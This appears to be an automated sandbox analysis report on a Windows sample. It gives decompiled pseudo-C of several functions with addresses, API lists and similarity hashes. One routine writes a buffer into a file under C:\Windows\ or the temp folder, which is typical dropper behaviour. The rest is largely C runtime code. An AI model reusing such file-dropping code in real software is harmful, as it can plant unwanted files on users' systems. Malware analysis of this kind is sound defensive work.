                          				_v12 = __edx;
                          				_v16 = __ecx;
                          				_v8 = 0;
                          				while(1) {
                          					_t12 = VirtualAlloc(0, 0x208, 0x3000, 4); // executed
                          					_t36 = _t12;
                          					_v20 = _t36;
                          					if(_t36 != 0) {
                          						break;
                          					}
                          					Sleep(1);
                          				}
                          				lstrcatW(_t36, L"C:\\Windows\\");
                          				lstrcatW(_t36, _a4);
                          				_t15 = CreateFileW(_t36, 0x40000000, 0, 0, 1, 0x80, 0); // executed
                          				_t34 = _t15;
                          				if(_t34 != 0xffffffff && _t34 != 0) {
                          					L8:
                          					_t37 = _v12;
                          					_t30 = 0;
                          					do {
                          						_t26 = WriteFile(_t34, _v16 + _t30, _t37 - _t30,  &_v8, 0); // executed
                          						_t30 = _t30 + _v8;
                          					} while (_t26 != 0 && _t30 < _t37);
                          					FindCloseChangeNotification(_t34); // executed
                          					return _v20;
                          				}
                          				E00162010(0, _t36, 0, 0x208);
                          				_t17 = GetTempPathW(0x208, _t36);
                          				if(_t17 != 0) {
                          					lstrcatW(_t36, _a4);
                          					_t34 = CreateFileW(_t36, 0x40000000, 0, 0, 1, 0x80, 0);
                          					if(_t34 == 0 || _t34 == 0xffffffff) {
                          						return _t36;
                          					} else {
                          						goto L8;
                          					}
                          				}
                          				return _t17;
                          			}
















                          0x0016100b
                          0x0016100e
                          0x00161011
                          0x00161014
                          0x00161021
                          0x00161027
                          0x00161029
                          0x0016102e
                          0x00000000
                          0x00000000
                          0x00161032
                          0x00161032
                          0x00161046
                          0x0016104c
                          0x0016105e
                          0x00161064
                          0x00161069
                          0x001610b7
                          0x001610b7
                          0x001610ba
                          0x001610bc
                          0x001610ce
                          0x001610d4
                          0x001610d7
                          0x001610e0
                          0x00000000
                          0x001610e6
                          0x00161078
                          0x00161086
                          0x0016108e
                          0x00161094
                          0x001610ac
                          0x001610b0
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x001610b0
                          0x001610f1

                          APIs
                          • VirtualAlloc.KERNELBASE(00000000,00000208,00003000,00000004), ref: 00161021
                          • Sleep.KERNEL32(00000001), ref: 00161032
                          • lstrcatW.KERNEL32(00000000,C:\Windows\), ref: 00161046
                          • lstrcatW.KERNEL32(00000000,?), ref: 0016104C
                          • CreateFileW.KERNELBASE(00000000,40000000,00000000,00000000,00000001,00000080,00000000), ref: 0016105E
                          • GetTempPathW.KERNEL32(00000208,00000000), ref: 00161086
                          • lstrcatW.KERNEL32(00000000,?), ref: 00161094
                          • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000001,00000080,00000000), ref: 001610A6
                          • WriteFile.KERNELBASE(00000000,?,?,?,00000000), ref: 001610CE
                          • FindCloseChangeNotification.KERNELBASE(00000000), ref: 001610E0
                          Strings
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: Filelstrcat$Create$AllocChangeCloseFindNotificationPathSleepTempVirtualWrite
                          • String ID: C:\Windows\
                          • API String ID: 3000489562-2217708725
                          • Opcode ID: becf64ca5a8fb857102d74f03b8a52a07a42903b0d7323e2cbeeada663aa7323
                          • Instruction ID: 8667be8b22463ecc4b40f6de0f82fce345ad3c80531428063ec277783b932895
                          • Opcode Fuzzy Hash: becf64ca5a8fb857102d74f03b8a52a07a42903b0d7323e2cbeeada663aa7323
                          • Instruction Fuzzy Hash: B3212731B00254BBDB315BAA9C88FAF7A7CEFC5B54F144114FA14A21D0DBB08D92C6B5
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E00166CBB(void* __ecx, signed int* _a4, intOrPtr _a8) {
                          				signed int* _v8;
                          				void** _t12;
                          				void* _t13;
                          				void* _t16;
                          				void* _t18;
                          				signed int _t22;
                          				WCHAR* _t23;
                          				void** _t26;
                          				signed int* _t29;
                          				void* _t32;
                          				void* _t34;
                          
                          				_t29 = _a4;
                          				while(_t29 != _a8) {
                          					_t22 =  *_t29;
                          					_t12 = 0x174280 + _t22 * 4;
                          					_t32 =  *_t12;
                          					_v8 = _t12;
                          					if(_t32 == 0) {
                          						_t23 =  *(0x16e9f0 + _t22 * 4);
                          						_t13 = LoadLibraryExW(_t23, 0, 0x800); // executed
                          						_t32 = _t13;
                          						if(_t32 != 0) {
                          							L12:
                          							_t26 = _v8;
                          							 *_t26 = _t32;
                          							if( *_t26 != 0) {
                          								FreeLibrary(_t32);
                          							}
                          							L14:
                          							if(_t32 != 0) {
                          								_t16 = _t32;
                          								L18:
                          								return _t16;
                          							}
                          							L15:
                          							_t29 =  &(_t29[1]);
                          							continue;
                          						}
                          						_t18 = GetLastError();
                          						if(_t18 != 0x57) {
                          							L9:
                          							_t32 = 0;
                          							L10:
                          							if(_t32 != 0) {
                          								goto L12;
                          							}
                          							 *_v8 = _t18 | 0xffffffff;
                          							goto L15;
                          						}
                          						_t18 = E00164648(_t23, L"api-ms-", 7);
                          						_t34 = _t34 + 0xc;
                          						if(_t18 == 0) {
                          							goto L9;
                          						}
                          						_t18 = E00164648(_t23, L"ext-ms-", 7);
                          						_t34 = _t34 + 0xc;
                          						if(_t18 == 0) {
                          							goto L9;
                          						}
                          						_t18 = LoadLibraryExW(_t23, _t32, _t32);
                          						_t32 = _t18;
                          						goto L10;
                          					}
                          					if(_t32 == 0xffffffff) {
                          						goto L15;
                          					}
                          					goto L14;
                          				}
                          				_t16 = 0;
                          				goto L18;
                          			}














                          0x00166cc4
                          0x00166d6e
                          0x00166ccc
                          0x00166cce
                          0x00166cd5
                          0x00166cd7
                          0x00166cdd
                          0x00166cea
                          0x00166cf9
                          0x00166cff
                          0x00166d03
                          0x00166d55
                          0x00166d55
                          0x00166d5a
                          0x00166d5e
                          0x00166d61
                          0x00166d61
                          0x00166d67
                          0x00166d69
                          0x00166d7e
                          0x00166d79
                          0x00166d7d
                          0x00166d7d
                          0x00166d6b
                          0x00166d6b
                          0x00000000
                          0x00166d6b
                          0x00166d05
                          0x00166d0e
                          0x00166d45
                          0x00166d45
                          0x00166d47
                          0x00166d49
                          0x00000000
                          0x00000000
                          0x00166d51
                          0x00000000
                          0x00166d51
                          0x00166d18
                          0x00166d1d
                          0x00166d22
                          0x00000000
                          0x00000000
                          0x00166d2c
                          0x00166d31
                          0x00166d36
                          0x00000000
                          0x00000000
                          0x00166d3b
                          0x00166d41
                          0x00000000
                          0x00166d41
                          0x00166ce2
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00166ce8
                          0x00166d77
                          0x00000000

                          Strings
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID:
                          • String ID: api-ms-$ext-ms-
                          • API String ID: 0-537541572
                          • Opcode ID: edf359ad207db7cdc804e6da15b7f82738c922dc938c943896c3f8c32f979d7c
                          • Instruction ID: 9ed784877be8bdc0a280825846110b659d81d51aa733248839eed9a0335ba864
                          • Opcode Fuzzy Hash: edf359ad207db7cdc804e6da15b7f82738c922dc938c943896c3f8c32f979d7c
                          • Instruction Fuzzy Hash: 2B21DA71F02621ABCB354BA49C44A6A37689F01B60F260110FD86EB290E770ED21C6D0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 60%
                          			E00168410(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
                          				signed int _v8;
                          				intOrPtr _v12;
                          				void* _v24;
                          				signed int _t41;
                          				signed int _t49;
                          				void* _t52;
                          				void* _t54;
                          				signed int _t56;
                          				void* _t60;
                          				intOrPtr _t63;
                          				void* _t64;
                          				intOrPtr _t68;
                          				intOrPtr* _t71;
                          				intOrPtr _t85;
                          				intOrPtr* _t91;
                          				intOrPtr _t93;
                          				signed int _t96;
                          				void* _t97;
                          				intOrPtr* _t98;
                          				intOrPtr* _t100;
                          				void* _t103;
                          
                          				_push(__ecx);
                          				_push(__ecx);
                          				_t41 =  *0x173018; // 0x219ee8ef
                          				_v8 = _t41 ^ _t96;
                          				_t93 = _a20;
                          				if(_t93 > 0) {
                          					_t68 = E0016974A(_a16, _t93);
                          					_t103 = _t68 - _t93;
                          					_t4 = _t68 + 1; // 0x1
                          					_t93 = _t4;
                          					if(_t103 >= 0) {
                          						_t93 = _t68;
                          					}
                          				}
                          				_t88 = _a32;
                          				if(_a32 == 0) {
                          					_t88 =  *((intOrPtr*)( *_a4 + 8));
                          					_a32 =  *((intOrPtr*)( *_a4 + 8));
                          				}
                          				_t85 = E00165D81(_t88, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t93, 0, 0);
                          				_t98 = _t97 + 0x18;
                          				_v12 = _t85;
                          				if(_t85 == 0) {
                          					L39:
                          					return E00161BE7(_v8 ^ _t96);
                          				} else {
                          					_t17 = _t85 + _t85 + 8; // 0x8
                          					asm("sbb eax, eax");
                          					_t49 = _t85 + _t85 & _t17;
                          					if(_t49 == 0) {
                          						_t71 = 0;
                          						L15:
                          						if(_t71 == 0) {
                          							L37:
                          							_t95 = 0;
                          							L38:
                          							E001668CD(_t71);
                          							goto L39;
                          						}
                          						_t52 = E00165D81(_t88, 1, _a16, _t93, _t71, _t85);
                          						_t100 = _t98 + 0x18;
                          						if(_t52 == 0) {
                          							goto L37;
                          						}
                          						_t90 = _v12;
                          						_t54 = E00166F8F(_a8, _a12, _t71, _v12, 0, 0, 0, 0, 0); // executed
                          						_t95 = _t54;
                          						if(_t95 == 0) {
                          							goto L37;
                          						}
                          						if((_a12 & 0x00000400) == 0) {
                          							_t31 = _t95 + _t95 + 8; // 0x8
                          							asm("sbb eax, eax");
                          							_t56 = _t95 + _t95 & _t31;
                          							if(_t56 == 0) {
                          								_t91 = 0;
                          								L31:
                          								if(_t91 == 0 || E00166F8F(_a8, _a12, _t71, _v12, _t91, _t95, 0, 0, 0) == 0) {
                          									L36:
                          									E001668CD(_t91);
                          									goto L37;
                          								} else {
                          									_push(0);
                          									_push(0);
                          									if(_a28 != 0) {
                          										_push(_a28);
                          										_push(_a24);
                          									} else {
                          										_push(0);
                          										_push(0);
                          									}
                          									_push(_t95);
                          									_push(_t91);
                          									_push(0);
                          									_push(_a32);
                          									_t60 = E00165DFD();
                          									_t95 = _t60;
                          									if(_t60 != 0) {
                          										E001668CD(_t91);
                          										goto L38;
                          									} else {
                          										goto L36;
                          									}
                          								}
                          							}
                          							if(_t56 > 0x400) {
                          								_t91 = E0016672E(_t56);
                          								if(_t91 == 0) {
                          									goto L36;
                          								}
                          								 *_t91 = 0xdddd;
                          								L29:
                          								_t91 = _t91 + 8;
                          								goto L31;
                          							}
                          							E0016B970();
                          							_t91 = _t100;
                          							if(_t91 == 0) {
                          								goto L36;
                          							}
                          							 *_t91 = 0xcccc;
                          							goto L29;
                          						}
                          						_t63 = _a28;
                          						if(_t63 == 0) {
                          							goto L38;
                          						}
                          						if(_t95 > _t63) {
                          							goto L37;
                          						}
                          						_t64 = E00166F8F(_a8, _a12, _t71, _t90, _a24, _t63, 0, 0, 0);
                          						_t95 = _t64;
                          						if(_t64 != 0) {
                          							goto L38;
                          						}
                          						goto L37;
                          					}
                          					if(_t49 > 0x400) {
                          						_t71 = E0016672E(_t49);
                          						if(_t71 == 0) {
                          							L13:
                          							_t85 = _v12;
                          							goto L15;
                          						}
                          						 *_t71 = 0xdddd;
                          						L12:
                          						_t71 = _t71 + 8;
                          						goto L13;
                          					}
                          					E0016B970();
                          					_t71 = _t98;
                          					if(_t71 == 0) {
                          						goto L13;
                          					}
                          					 *_t71 = 0xcccc;
                          					goto L12;
                          				}
                          			}
























                          0x00168415
                          0x00168416
                          0x00168417
                          0x0016841e
                          0x00168423
                          0x00168429
                          0x0016842f
                          0x00168435
                          0x00168438
                          0x00168438
                          0x0016843b
                          0x0016843d
                          0x0016843d
                          0x0016843b
                          0x0016843f
                          0x00168444
                          0x0016844b
                          0x0016844e
                          0x0016844e
                          0x0016846f
                          0x00168471
                          0x00168474
                          0x00168479
                          0x001685d7
                          0x001685e8
                          0x0016847f
                          0x00168482
                          0x00168487
                          0x00168489
                          0x0016848b
                          0x001684c2
                          0x001684c4
                          0x001684c6
                          0x001685cc
                          0x001685cc
                          0x001685ce
                          0x001685cf
                          0x00000000
                          0x001685d5
                          0x001684d5
                          0x001684da
                          0x001684df
                          0x00000000
                          0x00000000
                          0x001684e5
                          0x001684f7
                          0x001684fc
                          0x00168500
                          0x00000000
                          0x00000000
                          0x0016850e
                          0x0016854b
                          0x00168550
                          0x00168552
                          0x00168554
                          0x00168585
                          0x00168587
                          0x00168589
                          0x001685c5
                          0x001685c6
                          0x00000000
                          0x001685a6
                          0x001685a8
                          0x001685a9
                          0x001685ad
                          0x001685e9
                          0x001685ec
                          0x001685af
                          0x001685af
                          0x001685b0
                          0x001685b0
                          0x001685b1
                          0x001685b2
                          0x001685b3
                          0x001685b4
                          0x001685b7
                          0x001685bc
                          0x001685c3
                          0x001685f2
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x001685c3
                          0x00168589
                          0x00168558
                          0x00168573
                          0x00168578
                          0x00000000
                          0x00000000
                          0x0016857a
                          0x00168580
                          0x00168580
                          0x00000000
                          0x00168580
                          0x0016855a
                          0x0016855f
                          0x00168563
                          0x00000000
                          0x00000000
                          0x00168565
                          0x00000000
                          0x00168565
                          0x00168510
                          0x00168515
                          0x00000000
                          0x00000000
                          0x0016851d
                          0x00000000
                          0x00000000
                          0x00168534
                          0x00168539
                          0x0016853d
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00168543
                          0x00168492
                          0x001684ad
                          0x001684b2
                          0x001684bd
                          0x001684bd
                          0x00000000
                          0x001684bd
                          0x001684b4
                          0x001684ba
                          0x001684ba
                          0x00000000
                          0x001684ba
                          0x00168494
                          0x00168499
                          0x0016849d
                          0x00000000
                          0x00000000
                          0x0016849f
                          0x00000000
                          0x0016849f

                          APIs
                          • __freea.LIBCMT ref: 001685C6
                            • Part of subcall function 0016672E: RtlAllocateHeap.NTDLL(00000000,558B0000,558B0000,?,0016591D,00000220,00168934,558B0000,?,?,?,?,?,00000000,?,00168934), ref: 00166760
                          • __freea.LIBCMT ref: 001685CF
                          • __freea.LIBCMT ref: 001685F2
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: __freea$AllocateHeap
                          • String ID:
                          • API String ID: 2243444508-0
                          • Opcode ID: 0ceb27e8bff85f7caef6df19e82579e3107f55f7c473285dec88d0c4000f37a4
                          • Instruction ID: eb782f19d4b2e61102dfec99bedc9f35fb4f325510fd2e93b02e1cff26bc9a87
                          • Opcode Fuzzy Hash: 0ceb27e8bff85f7caef6df19e82579e3107f55f7c473285dec88d0c4000f37a4
                          • Instruction Fuzzy Hash: CB51AF72600216AFEB259FA4DC41EBB37A9EF54750F264369FD05A7140EF70DD608AA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E00165EE1() {
                          				void* _t3;
                          				void* _t16;
                          				WCHAR* _t17;
                          
                          				_t17 = GetEnvironmentStringsW();
                          				if(_t17 != 0) {
                          					_t11 = E00165EAA(_t17) - _t17 & 0xfffffffe;
                          					_t3 = E0016672E(E00165EAA(_t17) - _t17 & 0xfffffffe); // executed
                          					_t16 = _t3;
                          					if(_t16 != 0) {
                          						E00162820(_t16, _t17, _t11);
                          					}
                          					E00165025(0);
                          					FreeEnvironmentStringsW(_t17);
                          				} else {
                          					_t16 = 0;
                          				}
                          				return _t16;
                          			}






                          0x00165eeb
                          0x00165eef
                          0x00165f00
                          0x00165f04
                          0x00165f09
                          0x00165f0f
                          0x00165f14
                          0x00165f19
                          0x00165f1e
                          0x00165f25
                          0x00165ef1
                          0x00165ef1
                          0x00165ef1
                          0x00165f30

                          APIs
                          • GetEnvironmentStringsW.KERNEL32 ref: 00165EE5
                          • _free.LIBCMT ref: 00165F1E
                          • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00165F25
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: EnvironmentStrings$Free_free
                          • String ID:
                          • API String ID: 2716640707-0
                          • Opcode ID: 0fb70df19ee5951f9d3bae02d311167c3ed7181ec9ad3951d41fc2a939202abe
                          • Instruction ID: f9005276e298560c54267750f70a5e3c15522175c88330a54bf4002d84ad91f6
                          • Opcode Fuzzy Hash: 0fb70df19ee5951f9d3bae02d311167c3ed7181ec9ad3951d41fc2a939202abe
                          • Instruction Fuzzy Hash: 40E0923B609E2176932232397C899AF1E5FCFE67B1F254126F51996186EF518C2340E1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 97%
                          			E0016575F(void* __ebx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4) {
                          				signed int _v8;
                          				char _v264;
                          				char _v520;
                          				char _v776;
                          				char _v1800;
                          				char _v1814;
                          				struct _cpinfo _v1820;
                          				signed int _t58;
                          				char _t61;
                          				char _t67;
                          				signed char _t68;
                          				signed int _t69;
                          				signed int _t79;
                          				char _t83;
                          				signed int _t86;
                          				signed char _t87;
                          				char _t88;
                          				signed int _t89;
                          				void* _t90;
                          				intOrPtr _t95;
                          				signed int _t96;
                          
                          				_t89 = __edx;
                          				_t58 =  *0x173018; // 0x219ee8ef
                          				_v8 = _t58 ^ _t96;
                          				_t95 = _a4;
                          				if( *(_t95 + 4) == 0xfde9) {
                          					L19:
                          					__eflags = 0;
                          					_t83 = 0;
                          					do {
                          						_t46 = _t83 - 0x61; // -97
                          						_t90 = _t46;
                          						_t47 = _t90 + 0x20; // -65
                          						__eflags = _t47 - 0x19;
                          						if(_t47 > 0x19) {
                          							__eflags = _t90 - 0x19;
                          							if(_t90 > 0x19) {
                          								_t61 = 0;
                          							} else {
                          								_t53 = _t95 + 0x19; // 0x165ba3
                          								 *(_t53 + _t83) =  *(_t53 + _t83) | 0x00000020;
                          								_t54 = _t83 - 0x20; // -32
                          								_t61 = _t54;
                          							}
                          						} else {
                          							 *(_t95 + _t83 + 0x19) =  *(_t95 + _t83 + 0x19) | 0x00000010;
                          							_t52 = _t83 + 0x20; // 0x20
                          							_t61 = _t52;
                          						}
                          						 *((char*)(_t95 + _t83 + 0x119)) = _t61;
                          						_t83 = _t83 + 1;
                          						__eflags = _t83 - 0x100;
                          					} while (_t83 < 0x100);
                          					L26:
                          					return E00161BE7(_v8 ^ _t96);
                          				}
                          				_t5 = _t95 + 4; // 0xe8458d00
                          				if(GetCPInfo( *_t5,  &_v1820) == 0) {
                          					goto L19;
                          				} else {
                          					_t67 = 0;
                          					do {
                          						 *((char*)(_t96 + _t67 - 0x104)) = _t67;
                          						_t67 = _t67 + 1;
                          					} while (_t67 < 0x100);
                          					_t68 = _v1814;
                          					_t86 =  &_v1814;
                          					_v264 = 0x20;
                          					while(1) {
                          						_t104 = _t68;
                          						if(_t68 == 0) {
                          							break;
                          						}
                          						_t89 =  *(_t86 + 1) & 0x000000ff;
                          						_t69 = _t68 & 0x000000ff;
                          						while(1) {
                          							__eflags = _t69 - _t89;
                          							if(_t69 > _t89) {
                          								break;
                          							}
                          							__eflags = _t69 - 0x100;
                          							if(_t69 >= 0x100) {
                          								break;
                          							}
                          							 *((char*)(_t96 + _t69 - 0x104)) = 0x20;
                          							_t69 = _t69 + 1;
                          							__eflags = _t69;
                          						}
                          						_t86 = _t86 + 2;
                          						__eflags = _t86;
                          						_t68 =  *_t86;
                          					}
                          					_t14 = _t95 + 4; // 0xe8458d00
                          					E001667CA(0, _t89, 0x100, _t95, _t104, 0, 1,  &_v264, 0x100,  &_v1800,  *_t14, 0);
                          					_t17 = _t95 + 4; // 0xe8458d00
                          					_t20 = _t95 + 0x21c; // 0xc4313d52
                          					E001685FA(0, 0x100, _t95, _t104, 0,  *_t20, 0x100,  &_v264, 0x100,  &_v520, 0x100,  *_t17, 0); // executed
                          					_t22 = _t95 + 4; // 0xe8458d00
                          					_t24 = _t95 + 0x21c; // 0xc4313d52
                          					E001685FA(0, 0x100, _t95, _t104, 0,  *_t24, 0x200,  &_v264, 0x100,  &_v776, 0x100,  *_t22, 0);
                          					_t79 = 0;
                          					do {
                          						_t87 =  *(_t96 + _t79 * 2 - 0x704) & 0x0000ffff;
                          						if((_t87 & 0x00000001) == 0) {
                          							__eflags = _t87 & 0x00000002;
                          							if((_t87 & 0x00000002) == 0) {
                          								_t88 = 0;
                          							} else {
                          								 *(_t95 + _t79 + 0x19) =  *(_t95 + _t79 + 0x19) | 0x00000020;
                          								_t88 =  *((intOrPtr*)(_t96 + _t79 - 0x304));
                          							}
                          						} else {
                          							 *(_t95 + _t79 + 0x19) =  *(_t95 + _t79 + 0x19) | 0x00000010;
                          							_t88 =  *((intOrPtr*)(_t96 + _t79 - 0x204));
                          						}
                          						 *((char*)(_t95 + _t79 + 0x119)) = _t88;
                          						_t79 = _t79 + 1;
                          					} while (_t79 < 0x100);
                          					goto L26;
                          				}
                          			}
























                          0x0016575f
                          0x0016576a
                          0x00165771
                          0x00165776
                          0x00165781
                          0x00165893
                          0x00165893
                          0x0016589a
                          0x0016589c
                          0x0016589c
                          0x0016589c
                          0x0016589f
                          0x001658a2
                          0x001658a5
                          0x001658b1
                          0x001658b4
                          0x001658c3
                          0x001658b6
                          0x001658b6
                          0x001658bb
                          0x001658be
                          0x001658be
                          0x001658be
                          0x001658a7
                          0x001658a7
                          0x001658ac
                          0x001658ac
                          0x001658ac
                          0x001658c5
                          0x001658cc
                          0x001658cd
                          0x001658cd
                          0x001658d1
                          0x001658df
                          0x001658df
                          0x0016578e
                          0x00165799
                          0x00000000
                          0x0016579f
                          0x001657a6
                          0x001657a8
                          0x001657a8
                          0x001657af
                          0x001657b0
                          0x001657b4
                          0x001657ba
                          0x001657c0
                          0x001657e8
                          0x001657e8
                          0x001657ea
                          0x00000000
                          0x00000000
                          0x001657c9
                          0x001657cd
                          0x001657df
                          0x001657df
                          0x001657e1
                          0x00000000
                          0x00000000
                          0x001657d2
                          0x001657d4
                          0x00000000
                          0x00000000
                          0x001657d6
                          0x001657de
                          0x001657de
                          0x001657de
                          0x001657e3
                          0x001657e3
                          0x001657e6
                          0x001657e6
                          0x001657ed
                          0x00165802
                          0x00165808
                          0x0016581c
                          0x00165823
                          0x00165832
                          0x00165844
                          0x0016584b
                          0x00165853
                          0x00165855
                          0x00165855
                          0x00165860
                          0x00165870
                          0x00165873
                          0x00165883
                          0x00165875
                          0x00165875
                          0x0016587a
                          0x0016587a
                          0x00165862
                          0x00165862
                          0x00165867
                          0x00165867
                          0x00165885
                          0x0016588c
                          0x0016588d
                          0x00000000
                          0x00165891

                          APIs
                          • GetCPInfo.KERNEL32(E8458D00,?,00168940,00168934,00000000), ref: 00165791
                          Strings
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: Info
                          • String ID:
                          • API String ID: 1807457897-3916222277
                          • Opcode ID: fb5062e1ff11e264915f4312ad3b1a2f591e939615ce5f86319320c4a0c3e663
                          • Instruction ID: dd5b40ec6aa4096c4c7bf93017add25c7ca673be2d0a08d7104de061ecd80374
                          • Opcode Fuzzy Hash: fb5062e1ff11e264915f4312ad3b1a2f591e939615ce5f86319320c4a0c3e663
                          • Instruction Fuzzy Hash: EE4148715047589FEB258B69CC84BFA7BFEEB15308F6408ACE58A87042D3709D659B60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 91%
                          			E00165AF4(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
                          				signed int _v8;
                          				char _v22;
                          				struct _cpinfo _v28;
                          				signed int _v32;
                          				signed int _v36;
                          				signed int _t51;
                          				signed int _t60;
                          				signed int _t61;
                          				short _t64;
                          				signed char _t66;
                          				signed int _t67;
                          				signed char* _t76;
                          				signed char* _t77;
                          				int _t80;
                          				signed int _t85;
                          				signed char* _t86;
                          				short* _t87;
                          				signed int _t88;
                          				signed char _t89;
                          				signed int _t90;
                          				signed int _t92;
                          				signed int _t93;
                          				short _t95;
                          				signed int _t96;
                          				intOrPtr _t99;
                          				signed int _t100;
                          
                          				_t51 =  *0x173018; // 0x219ee8ef
                          				_v8 = _t51 ^ _t100;
                          				_t99 = _a8;
                          				_t80 = E00165689(__eflags, _a4);
                          				if(_t80 == 0) {
                          					L36:
                          					E001656FA(_t99);
                          					goto L37;
                          				} else {
                          					_t95 = 0;
                          					_t85 = 0;
                          					_t57 = 0;
                          					_v32 = 0;
                          					while( *((intOrPtr*)(_t57 + 0x173490)) != _t80) {
                          						_t85 = _t85 + 1;
                          						_t57 = _t57 + 0x30;
                          						_v32 = _t85;
                          						if(_t57 < 0xf0) {
                          							continue;
                          						} else {
                          							if(_t80 == 0xfde8 || IsValidCodePage(_t80 & 0x0000ffff) == 0) {
                          								L22:
                          							} else {
                          								if(_t80 != 0xfde9) {
                          									_t57 = GetCPInfo(_t80,  &_v28);
                          									__eflags = _t57;
                          									if(_t57 == 0) {
                          										__eflags =  *0x173f00 - _t95; // 0x0
                          										if(__eflags != 0) {
                          											goto L36;
                          										} else {
                          											goto L22;
                          										}
                          									} else {
                          										_t14 = _t99 + 0x18; // 0x16894c
                          										E00162010(_t95, _t14, _t95, 0x101);
                          										 *(_t99 + 4) = _t80;
                          										__eflags = _v28 - 2;
                          										 *((intOrPtr*)(_t99 + 0x21c)) = _t95;
                          										if(_v28 == 2) {
                          											__eflags = _v22;
                          											_t76 =  &_v22;
                          											if(_v22 != 0) {
                          												while(1) {
                          													_t89 = _t76[1];
                          													__eflags = _t89;
                          													if(_t89 == 0) {
                          														goto L18;
                          													}
                          													_t92 = _t89 & 0x000000ff;
                          													_t90 =  *_t76 & 0x000000ff;
                          													while(1) {
                          														__eflags = _t90 - _t92;
                          														if(_t90 > _t92) {
                          															break;
                          														}
                          														 *(_t99 + _t90 + 0x19) =  *(_t99 + _t90 + 0x19) | 0x00000004;
                          														_t90 = _t90 + 1;
                          														__eflags = _t90;
                          													}
                          													_t76 =  &(_t76[2]);
                          													__eflags =  *_t76;
                          													if( *_t76 != 0) {
                          														continue;
                          													}
                          													goto L18;
                          												}
                          											}
                          											L18:
                          											_t25 = _t99 + 0x1a; // 0x16894e
                          											_t77 = _t25;
                          											_t88 = 0xfe;
                          											do {
                          												 *_t77 =  *_t77 | 0x00000008;
                          												_t77 =  &(_t77[1]);
                          												_t88 = _t88 - 1;
                          												__eflags = _t88;
                          											} while (_t88 != 0);
                          											_t26 = _t99 + 4; // 0xc033a47d
                          											 *((intOrPtr*)(_t99 + 0x21c)) = E0016564B( *_t26);
                          											_t95 = 1;
                          										}
                          										goto L8;
                          									}
                          								} else {
                          									 *(_t99 + 4) = 0xfde9;
                          									 *((intOrPtr*)(_t99 + 0x21c)) = _t95;
                          									 *((intOrPtr*)(_t99 + 0x18)) = _t95;
                          									 *((short*)(_t99 + 0x1c)) = _t95;
                          									L8:
                          									 *((intOrPtr*)(_t99 + 8)) = _t95;
                          									_t12 = _t99 + 0xc; // 0x168940
                          									_t96 = _t12;
                          									asm("stosd");
                          									asm("stosd");
                          									asm("stosd");
                          									L9:
                          									E0016575F(_t80, _t92, _t96, _t99, _t99); // executed
                          									L37:
                          								}
                          							}
                          						}
                          						goto L38;
                          					}
                          					_t28 = _t99 + 0x18; // 0x16894c
                          					E00162010(_t95, _t28, _t95, 0x101);
                          					_t60 = _v32 * 0x30;
                          					__eflags = _t60;
                          					_v36 = _t60;
                          					_t61 = _t60 + 0x1734a0;
                          					_v32 = _t61;
                          					do {
                          						__eflags =  *_t61;
                          						_t86 = _t61;
                          						if( *_t61 != 0) {
                          							while(1) {
